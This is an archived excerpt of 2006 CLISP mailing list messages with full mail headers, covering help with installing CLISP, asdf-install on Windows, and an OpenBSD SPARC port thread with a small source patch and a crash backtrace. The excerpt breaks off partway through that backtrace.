students.iiit.ac.in (8.13.6/8.12.8/Submit) with ESMTP id k7O1th0U014651 for ; Thu, 24 Aug 2006 07:25:44 +0530 Date: Thu, 24 Aug 2006 07:25:43 +0530 (IST) From: Aravind Krishna X-X-Sender: arvkrishna@students.iiit.ac.in To: clisp-list@lists.sourceforge.net Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-IIITH-MailScanner-Information: Please contact the IIIT Server Room for more information X-IIITH-MailScanner: Found to be clean X-IIITH-MailScanner-From: arvkrishna@students.iiit.net X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] help required in installation / usage X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Aug 2006 03:56:47 -0000 Hi, I am a newbie to lisp. I am trying to install CLISP on my Linux machine. I have downloaded the package and typed "./configure" and I think installed successfully. But, I dont know what to do next. I mean,the further steps and how to run the interpreter / compiler. Pls help me, with any references on how to use the system Thanks, Aravind -- From dmurray@jsbsystems.com Wed Aug 23 21:14:21 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GG6bl-0006Tx-Ao for clisp-list@lists.sourceforge.net; Wed, 23 Aug 2006 21:14:21 -0700 Received: from alnrmhc11.comcast.net ([204.127.225.91]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GG6bj-0003g6-Vl for clisp-list@lists.sourceforge.net; Wed, 23 Aug 2006 21:14:21 -0700 Received: from nazgul.jsbsystems.com ([71.224.35.252]) by comcast.net (alnrmhc11) with SMTP id <20060824041327b1100pm451e>; Thu, 24 Aug 2006 04:13:27 +0000 Received: (qmail 11355 invoked from network); 24 Aug 2006 04:12:10 -0000 Received: from localhost (127.0.0.1) by nazgul.jsbsystems.com with SMTP; 24 Aug 2006 04:12:10 -0000 Date: Thu, 24 Aug 2006 00:12:10 -0400 (EDT) From: David N Murray X-X-Sender: dnm@nazgul.jsbsystems.com To: Aravind Krishna In-Reply-To: Message-ID: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help required in installation / usage X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Aug 2006 04:14:21 -0000 On Aug 24, Aravind Krishna scribed: > > Hi, > > I am a newbie to lisp. > I am trying to install CLISP on my Linux machine. I have downloaded the > package and typed "./configure" and I think installed successfully. But, I > dont know what to do next. I mean,the further steps and how to run the > interpreter / compiler. > Pls help me, with any references on how to use the system > > Thanks, > Aravind > -- $ clisp i i i i i i i ooooo o ooooooo ooooo ooooo I I I I I I I 8 8 8 8 8 o 8 8 I \ `+' / I 8 8 8 8 8 8 \ `-+-' / 8 8 8 ooooo 8oooo `-__|__-' 8 8 8 8 8 | 8 o 8 8 o 8 8 ------+------ ooooo 8oooooo ooo8ooo ooooo 8 Copyright (c) Bruno Haible, Michael Stoll 1992, 1993 Copyright (c) Bruno Haible, Marcus Daniels 1994-1997 Copyright (c) Bruno Haible, Pierpaolo Bernardi, Sam Steingold 1998 Copyright (c) Bruno Haible, Sam Steingold 1999-2000 Copyright (c) Sam Steingold, Bruno Haible 2001-2005 [1]> However, I would strongly encourage you to look at Slime, if you use Emacs (even if you don't), or the lisp-in-a-box solution: http://www.google.com/search?q=lisp-in-a-box HTH, Dave From s11@member.fsf.org Wed Aug 23 21:24:07 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GG6lC-0007RT-Sn for clisp-list@lists.sourceforge.net; Wed, 23 Aug 2006 21:24:06 -0700 Received: from gateway.insightbb.com ([74.128.0.19] helo=asav13.insightbb.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GG6lA-0005mS-D9 for clisp-list@lists.sourceforge.net; Wed, 23 Aug 2006 21:24:06 -0700 Received: from dhcp-74-137-226-136.insightbb.com (HELO [192.168.10.5]) ([74.137.226.136]) by asav13.insightbb.com with ESMTP; 24 Aug 2006 00:23:52 -0400 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AQAAAM/F7EQN Message-ID: <44ED29C7.1090705@member.fsf.org> Date: Wed, 23 Aug 2006 23:23:35 -0500 From: Stephen Compall User-Agent: Thunderbird 1.5.0.5 (Macintosh/20060719) MIME-Version: 1.0 To: Aravind Krishna References: In-Reply-To: X-Enigmail-Version: 0.94.0.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Spam-Score: -2.3 (--) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers -2.8 ALL_TRUSTED Did not pass through any untrusted hosts Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help required in installation / usage X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Aug 2006 04:24:07 -0000 Aravind Krishna wrote: > I am trying to install CLISP on my Linux machine. I have downloaded the > package and typed "./configure" and I think installed successfully. But, I > dont know what to do next. I mean,the further steps and how to run the > interpreter / compiler. Please read the unix/INSTALL file in the distribution; this is not a standard build system. After that, you may wish to configure ASDF (http://www.cliki.net/asdf) to load into CLISP at start time; know that forms in ~/.clisprc are evaluated as such, and further instructions can be found in asdf's source tree. Then, you will probably want SLIME (http://www.cliki.net/SLIME). Again, decent setup documentation to get Emacs working with SLIME is included; the only CLISP-specific thing to do is (setq inferior-lisp-program "clisp") in your ~/.emacs startup file or other suitable place. At last, if you don't already have a good tutorial on CL, please see http://www.gigamonkeys.com/book/ . -- Stephen Compall http://scompall.nocandysw.com/blog From pjb@informatimago.com Thu Aug 24 14:04:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GGMNm-0003b5-6P for clisp-list@lists.sourceforge.net; Thu, 24 Aug 2006 14:04:58 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GGMNk-0002YP-19 for clisp-list@lists.sourceforge.net; Thu, 24 Aug 2006 14:04:57 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id B0797585E6; Thu, 24 Aug 2006 23:04:48 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 4D622585D4; Thu, 24 Aug 2006 23:04:45 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 370117F872; Thu, 24 Aug 2006 23:04:45 +0200 (CEST) From: Pascal Bourguignon Message-ID: <17646.5229.198547.889332@thalassa.informatimago.com> Date: Thu, 24 Aug 2006 23:04:45 +0200 To: Aravind Krishna In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&; A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA; v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-5.9 required=5.0 tests=ALL_TRUSTED,BAYES_00 autolearn=ham version=3.0.1 X-Spam-Level: Content-Transfer-Encoding: quoted-printable X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] help required in installation / usage X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: pjb@informatimago.com List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 24 Aug 2006 21:04:58 -0000 Aravind Krishna writes: > I am a newbie to lisp. > I am trying to install CLISP on my Linux machine. I have downloaded the= =20 > package and typed "./configure" and I think installed successfully. But= , I=20 > dont know what to do next. I mean,the further steps and how to run the=20 > interpreter / compiler. > Pls help me, with any references on how to use the system No, ./configure doesn't compile nor install anything. It just configures. Otherwise it would have been called ./configure-and-compile-and-install Rather, try: ./configure --build /tmp/clisp-build --install --=20 __Pascal Bourguignon__ http://www.informatimago.com/ NOTE: The most fundamental particles in this product are held together by a "gluing" force about which little is currently known and whose adhesive power can therefore not be permanently guaranteed. From lisp-clisp-list@m.gmane.org Mon Aug 28 22:16:31 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GHvxf-0007nU-En for clisp-list@lists.sourceforge.net; Mon, 28 Aug 2006 22:16:31 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GHvxc-0001po-QA for clisp-list@lists.sourceforge.net; Mon, 28 Aug 2006 22:16:31 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GHvxQ-0005Ld-TR for clisp-list@lists.sourceforge.net; Tue, 29 Aug 2006 07:16:16 +0200 Received: from en4028117.dhcp.asu.edu ([149.169.176.38]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 29 Aug 2006 07:16:16 +0200 Received: from L.Tang by en4028117.dhcp.asu.edu with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Tue, 29 Aug 2006 07:16:16 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Lei Tang Date: Mon, 28 Aug 2006 22:15:55 -0700 Lines: 10 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: en4028117.dhcp.asu.edu User-Agent: Mozilla Thunderbird 1.0.6 (Windows/20050716) X-Accept-Language: en-us, en Sender: news X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] asdf-install + CLISP under windows without cygwin? X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 29 Aug 2006 05:16:31 -0000 Hi, there. Is it possible to use asdf-install in CLISP under windows XP system? I found that the original tutorial of asdf is for linux users and requires cygwin. I do not want to install cygwin. Is there a good solution to solve this? Thanks in advance! -Lei From edoneel@sdf.lonestar.org Fri Sep 01 04:55:36 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GJ7cW-0004dN-Dp for clisp-list@lists.sourceforge.net; Fri, 01 Sep 2006 04:55:36 -0700 Received: from mx.freeshell.org ([192.94.73.18] helo=sdf.lonestar.org ident=root) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GJ7cV-0008VX-SP for clisp-list@lists.sourceforge.net; Fri, 01 Sep 2006 04:55:36 -0700 Received: from sdf.lonestar.org (IDENT:edoneel@norge.freeshell.org [192.94.73.3]) by sdf.lonestar.org (8.13.5.20060308/8.13.8) with ESMTP id k81BtJum018758 for ; Fri, 1 Sep 2006 11:55:19 GMT Received: (from edoneel@localhost) by sdf.lonestar.org (8.13.8/8.12.8/Submit) id k81BtJNH018240 for clisp-list@lists.sourceforge.net; Fri, 1 Sep 2006 11:55:19 GMT Date: Fri, 1 Sep 2006 11:55:19 +0000 From: "Bruce O'Neel" To: clisp-list@lists.sourceforge.net Message-ID: <20060901115519.GB26528@SDF.LONESTAR.ORG> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.4.2.1i X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO 0.1 EXCUSE_3 BODY: Claims you can be removed from the list Subject: [clisp-list] Success with OpenBSD 3.9 SPARC X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 01 Sep 2006 11:55:36 -0000 Hi, I have a sucessful build on OpenBSD 3.9 sparc with one small change. In the generated clisp.h file there was a line: register p_backtrace_t back_trace __asm__("%g4"); The word register had to be removed from the front of that. Things in general look good with make check but it does crash with: ./foo -x "(setq zz 10) (saveinitmem \"foo\")" ./foo: operating system error during load of initialization file +`/home/edoneel/tmp/clisp-2.39/sparcbuild/foo' [spvw_memfile.d:1684] errno = EFAULT: Bad address. *** Error code 1 Stop in /home/edoneel/tmp/clisp-2.39/sparcbuild (line 3758 of Makefile). Thanks very much. I'm so happy to have a lisp on my OpenBSD system! cheers bruce -- edoneel@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org From lisp-clisp-list@m.gmane.org Fri Sep 01 05:39:44 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GJ8JD-0008Vt-VT for clisp-list@lists.sourceforge.net; Fri, 01 Sep 2006 05:39:44 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1GJ8JD-0005RC-38 for clisp-list@lists.sourceforge.net; Fri, 01 Sep 2006 05:39:43 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1GJ8J3-0001lQ-4J for clisp-list@lists.sourceforge.net; Fri, 01 Sep 2006 14:39:33 +0200 Received: from 209.213.205.130 ([209.213.205.130]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 01 Sep 2006 14:39:33 +0200 Received: from sds by 209.213.205.130 with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 01 Sep 2006 14:39:33 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Sam Steingold Date: Fri, 01 Sep 2006 08:39:12 -0400 Lines: 53 Message-ID: <44F829F0.7090101@gnu.org> References: <20060901115519.GB26528@SDF.LONESTAR.ORG> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: 209.213.205.130 User-Agent: Thunderbird 1.5.0.5 (X11/20060808) In-Reply-To: <20060901115519.GB26528@SDF.LONESTAR.ORG> Sender: news X-Spam-Score: 1.7 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 RCVD_BY_IP Received by mail server with no name 1.5 RCVD_NUMERIC_HELO Received: contains an IP address used for HELO 0.1 EXCUSE_3 BODY: Claims you can be removed from the list Subject: Re: [clisp-list] Success with OpenBSD 3.9 SPARC X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Fri, 01 Sep 2006 12:39:45 -0000 Hi Bruce, Bruce O'Neel wrote: > I have a sucessful build on OpenBSD 3.9 sparc with one small change. > > In the generated clisp.h file there was a line: > > register p_backtrace_t back_trace __asm__("%g4"); > > The word register had to be removed from the front of that. why? please search for back_trace_register in lispbibl.d > Things in general look good with make check but it does crash with: > > ./foo -x "(setq zz 10) (saveinitmem \"foo\")" > ./foo: operating system error during load of initialization file > +`/home/edoneel/tmp/clisp-2.39/sparcbuild/foo' > [spvw_memfile.d:1684] errno = EFAULT: Bad address. > *** Error code 1 > > Stop in /home/edoneel/tmp/clisp-2.39/sparcbuild (line 3758 of Makefile). this is probably fixed by the 2006-07-25 patch by Werner Fink: Index: spvw_memfile.d =================================================================== RCS file: /cvsroot/clisp/clisp/src/spvw_memfile.d,v retrieving revision 1.108 retrieving revision 1.109 diff -u -w -u -b -w -i -B -r1.108 -r1.109 --- spvw_memfile.d 19 Jun 2006 13:48:48 -0000 1.108 +++ spvw_memfile.d 25 Jul 2006 20:05:51 -0000 1.109 @@ -969,7 +969,8 @@ } \ } while(0) begin_read: - set_file_offset(0); + if (mem_searched) set_file_offset(mem_start); + else set_file_offset(0); /* read basic information: */ READ(&header,sizeof(header)); if (header._magic != memdump_magic) { =================================================================== > Thanks very much. I'm so happy to have a lisp on my OpenBSD system! great! did you build with libsigsev? if yes, could you please do "make distrib" and the file clisp-2.39-....tar.gz downloadable for me? I will make it available on SF. Sam. From sds@podval.org Sat Sep 02 20:44:37 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GJiuT-0001nq-MR for clisp-list@lists.sourceforge.net; Sat, 02 Sep 2006 20:44:37 -0700 Received: from mta6.srv.hcvlny.cv.net ([167.206.4.201]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GJiuQ-0004ig-7z for clisp-list@lists.sourceforge.net; Sat, 02 Sep 2006 20:44:37 -0700 Received: from loiso.podval.org (ool-182f780f.dyn.optonline.net [24.47.120.15]) by mta6.srv.hcvlny.cv.net (Sun Java System Messaging Server 6.2-6.01 (built Apr 3 2006)) with ESMTP id <0J4Z002QFZPNSZJ6@mta6.srv.hcvlny.cv.net> for clisp-list@lists.sourceforge.net; Sat, 02 Sep 2006 23:44:27 -0400 (EDT) Received: by loiso.podval.org (Postfix, from userid 500) id 2F16E21E090; Sat, 02 Sep 2006 23:44:11 -0400 (EDT) Date: Sat, 02 Sep 2006 23:44:10 -0400 From: Sam Steingold In-reply-to: <20060902162402.GA14561@SDF.LONESTAR.ORG> To: Bruce O'Neel Mail-followup-to: Bruce O'Neel , clisp-list@lists.sourceforge.net Message-id: MIME-version: 1.0 Content-type: text/plain Content-transfer-encoding: 7BIT Mail-Copies-To: never X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. References: <20060901115519.GB26528@SDF.LONESTAR.ORG> <44F829F0.7090101@gnu.org> <20060902162402.GA14561@SDF.LONESTAR.ORG> User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (gnu/linux) X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Success with OpenBSD 3.9 SPARC X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list Reply-To: sds@podval.org List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 03 Sep 2006 03:44:37 -0000 > * Bruce O'Neel [2006-09-02 16:24:02 +0000]: > > I moved the following lines to the front of clisp.h: > > typedef void * gcv_object_t; > #ifndef IN_MODULE_CC > register gcv_object_t* STACK __asm__("%g5"); > #endif > > struct backtrace_t { > struct backtrace_t* bt_next; > gcv_object_t bt_function; > gcv_object_t *bt_stack; > int bt_num_arg; > }; > typedef struct backtrace_t * p_backtrace_t; > > #ifndef IN_MODULE_CC > register p_backtrace_t back_trace __asm__("%g4"); > #endif > > and that got rid of the error that said that a global register > variable was defined after a function. can you figure out what is that function? can you patch lispbibl.d (or genclisph.d) to fix that? > I still get this warning: > /home/edoneel/tmp/clisp-2.39/sparcbuild/clisp.h:22: warning: call-clobbered register used for global register variable I think this is OK. > http://edoneel.chaosnet.org/clisp/clisp-2.39-sparc-unknown-openbsd3.9-3.9.tar.gz uploaded, thanks. this does not appear to include rawsock or readline. do you have readline on your system? could you please test rawsock? (add "rawsock" to the MODULES= line in your sparcbuild/Makefile and do "make full mod-check") thanks. > Yes, I did build with libsigsegv but the tests for stackoverflow are > skipped. I'll look into this. thanks. -- Sam Steingold (http://www.podval.org/~sds) on Fedora Core release 5 (Bordeaux) http://ffii.org http://palestinefacts.org http://openvotingconsortium.org http://pmw.org.il http://honestreporting.com http://truepeace.org Any programming language is at its best before it is implemented and used. From edoneel@sdf.lonestar.org Sun Sep 03 11:42:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1GJwv4-0007ap-46 for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 11:42:10 -0700 Received: from mx.freeshell.org ([192.94.73.18] helo=sdf.lonestar.org ident=root) by mail.sourceforge.net with esmtp (Exim 4.44) id 1GJwv2-00016a-Cq for clisp-list@lists.sourceforge.net; Sun, 03 Sep 2006 11:42:10 -0700 Received: from sdf.lonestar.org (IDENT:edoneel@norge.freeshell.org [192.94.73.3]) by sdf.lonestar.org (8.13.5.20060308/8.13.8) with ESMTP id k83Ifr87027042 for ; Sun, 3 Sep 2006 18:41:53 GMT Received: (from edoneel@localhost) by sdf.lonestar.org (8.13.8/8.12.8/Submit) id k83IfqNT004169 for clisp-list@lists.sourceforge.net; Sun, 3 Sep 2006 18:41:52 GMT Date: Sun, 3 Sep 2006 18:41:52 +0000 From: "Bruce O'Neel" To: clisp-list@lists.sourceforge.net Message-ID: <20060903184152.GA7116@SDF.LONESTAR.ORG> References: <20060901115519.GB26528@SDF.LONESTAR.ORG> <44F829F0.7090101@gnu.org> <20060902162402.GA14561@SDF.LONESTAR.ORG> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: Re: [clisp-list] Success with OpenBSD 3.9 SPARC X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.1.8 Precedence: list List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 03 Sep 2006 18:42:10 -0000 Hi, On Sat, Sep 02, 2006 at 11:44:10PM -0400, Sam Steingold wrote: > > this does not appear to include rawsock or readline. > do you have readline on your system? > > could you please test rawsock? > (add "rawsock" to the MODULES= line in your sparcbuild/Makefile and do > "make full mod-check") > thanks. > > > Yes, I did build with libsigsegv but the tests for stackoverflow are > > skipped. I'll look into this. > Hmm, make full mod-check crashes when I add rawsock to the MODULES line. ("/home/edoneel/tmp/clisp-2.39/sparcbuild/base/lisp.run" "-M" "/home/edoneel/tmp/clisp-2.39/sparcbuild/base/lispinit.mem" "-B" "/home/edoneel/tmp/clisp-2.39/sparcbuild" "-norc" "-q" "-on-error" "abort") WARNING: locale: no encoding 646, using ISO-8859-1WARNING: locale: no encoding 646, using ISO-8859-1 "[1]>" EQL-OK: T (STRINGP (PROC-SEND *PROC1* "(setq s (open ~S :direction :output :if-exists :append))" (TRUENAME *TMP1*))) "[1]>" EQL-OK: T (STRINGP (PROC-SEND *PROC2* "(setq s (open ~S :direction :output :if-exists :append))" (TRUENAME *TMP1*))) " # [2]>" EQL-OK: T (READ-FROM-STRING (PROC-SEND *PROC1* "(stream-lock s t)")) " # [2]>" [SIMPLE-READER-ERROR]: READ from #1=#: objects printed as #<...> cannot be read back in *** - handle_fault error2 ! address = 0x77bb1852 not in [0x6851d570,0x68587000) ! SIGSEGV cannot be cured. Fault address = 0x77bb1852. Permanently allocated: 86848 bytes. Currently in use: 2490792 bytes. Free space: 10392 bytes. Segmentation fault (core dumped) gmake: *** [base-mod-check] Error 139 The stack looks like: #0 0x000c98a8 in RA_RA_comp (r=0xf7fe5d48, s=0x77bb183e) at rational.d:420 #1 0x0003dde8 in C_make_encoding () at encoding.d:1989 #2 0x0003dfb8 in C_make_encoding () at encoding.d:2056 #3 0x000ccaa8 in LF_minus_LF (x=0x88000000) at lfloat.d:441 #4 0x00046068 in nametype_diff_aux (pattern=0x38cb32, sample=0xc3f02a4, logical=285472, previous=0xfb5d7fb0, solutions=0xf7fe62e0) at pathname.d:4367 #5 0x00045ab8 in C_pathname_match_p () at pathname.d:4145 #6 0x000cb098 in FF_FF_comp (x=0x217fa5d1, y=0x6) at ffloat.d:294 #7 0x000cb490 in FF_to_I (x=0xc3f0284) at ffloat.d:718 #8 0x000cb4dc in FF_to_I (x=0x17) at ffloat.d:718 #9 0x000cb4f8 in I_to_FF (x=0x17, signal_overflow=2368824) at ffloat.d:747 #10 0x0008a168 in gcinvariant_hashcode3_p (obj=0x8a058) at hashtabl.d:691 #11 0x0004608c in nametype_diff_aux (pattern=0x38d1f2, sample=0xc, logical=562012577, previous=0x217fa1f0, solutions=0xf7fe65d8) at pathname.d:4367 #12 0x00045ab8 in C_pathname_match_p () at pathname.d:4145 #13 0x00086504 in elt_nreverse (dv=0x11a7, index=205455904, count=550432) at array.d:3700 #14 0x0008662c in elt_nreverse (dv=0xc3f0220, index=205455976, count=3789401) at array.d:3714 #15 0x00086fc4 in ssstring_push_extend (ssstring=0xc3f0220, ch=3745977) at array.d:4101 #16 0x0008b9dc in gcinvariant_hashcode4_p (obj=0x3928b9) at hashtabl.d:1320 #17 0x0008c0f0 in rehash (ht=0x8c044) at hashtabl.d:1517 #18 0x000433c8 in merge_dirs (p_directory=0xfb5d6000, d_directory=0x3928b9, p_log=3745977, wildp=562012520, called_from_make_pathname=8010256) at pathname.d:2720 #19 0x000426dc in signal_type_error (sp=0x685119b3, frame=0x39dbf8, label=0x7a3800, condition=0xfb5d7fb0) at pathname.d:2162 #20 0x000423bc in coerce_xpathname (obj=0x685119b3) at pathname.d:2030 #21 0x0003eb94 in init_encodings_1 () at encoding.d:2397 #22 0x0003ebcc in init_encodings_1 () at encoding.d:2402 #23 0x0005216c in pk_ch_concat (stream_=0x5215c) at stream.d:1833 #24 0x000489b4 in pathname_to_OSdir (pathname=0x21763711, use_default=561395368) at pathname.d:6014 #25 0x000468c4 in translate_host (subst=0x468bc, pattern=0x21763711, logical=1077940354) at pathname.d:4605 #26 0x00045a9c in C_pathname_match_p () at pathname.d:4141 #27 0x000487ac in directory_exists (pathname=0x21763501) at pathname.d:5965 #28 0x000468c4 in translate_host (subst=0x468bc, pattern=0x217fa101, logical=8002376) at pathname.d:4605 #29 0x00045a9c in C_pathname_match_p () at pathname.d:4141 #30 0x00048f70 in rename_file () at pathname.d:6145 #31 0x000468c4 in translate_host (subst=0x468bc, pattern=0x217670b9, logical=2147483583) at pathname.d:4605 #32 0x00045a9c in C_pathname_match_p () at pathname.d:4141 #33 0x00048f70 in rename_file () at pathname.d:6145 #34 0x00046838 in subst_customary_case (obj=0x217690a9) at pathname.d:4549 #35 0x00045a9c in C_pathname_match_p () at pathname.d:4141 #36 0x0004ff08 in var_stream (sym=0x685144c3, strmflags=196 'D') at lispbibl.d:15306 #37 0x00048ca4 in C_delete_file () at pathname.d:6086 #38 0x00043ee4 in legal_logical_word (obj=0x21769931) at pathname.d:3186 #39 0x00042708 in C_logical_pathname () at pathname.d:2168 #40 0x000423bc in coerce_xpathname (obj=0x6851482b) at pathname.d:2030 #41 0x00052ca8 in make_echo_stream (input_stream=0x52c6c, output_stream=0x3928b9) at stream.d:2288 #42 0x00042ad0 